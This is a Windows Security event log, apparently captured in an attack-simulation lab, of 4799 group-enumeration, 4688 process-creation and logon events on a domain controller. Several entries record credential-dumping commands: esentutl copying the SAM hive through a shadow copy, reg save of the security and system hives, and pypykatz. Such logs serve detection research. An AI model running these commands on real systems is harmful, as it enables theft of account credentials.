Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257911 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257910 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257909 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257908 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257907 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257906 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257905 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257904 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257903 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257902 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257901 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257900 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257899 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257898 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257897 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257896 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257895 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257894 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257893 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257892 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257891 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257890 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257889 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257888 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257887 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257886 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257885 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257884 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257883 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257882 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\System32\VSSVC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\vssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257880 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257879 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257878 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\System32\esentutl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x47c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: esentutl.exe /y /vss C:\Windows/system32/config/SAM /d C:\Users\ADMINI~1\AppData\Local\Temp/SAM - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257877 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %temp%/SAM" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "pypykatz live registry" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\security C:\Users\ADMINI~1\AppData\Local\Temp\security - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\system C:\Users\ADMINI~1\AppData\Local\Temp\system - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257873 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x794 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: 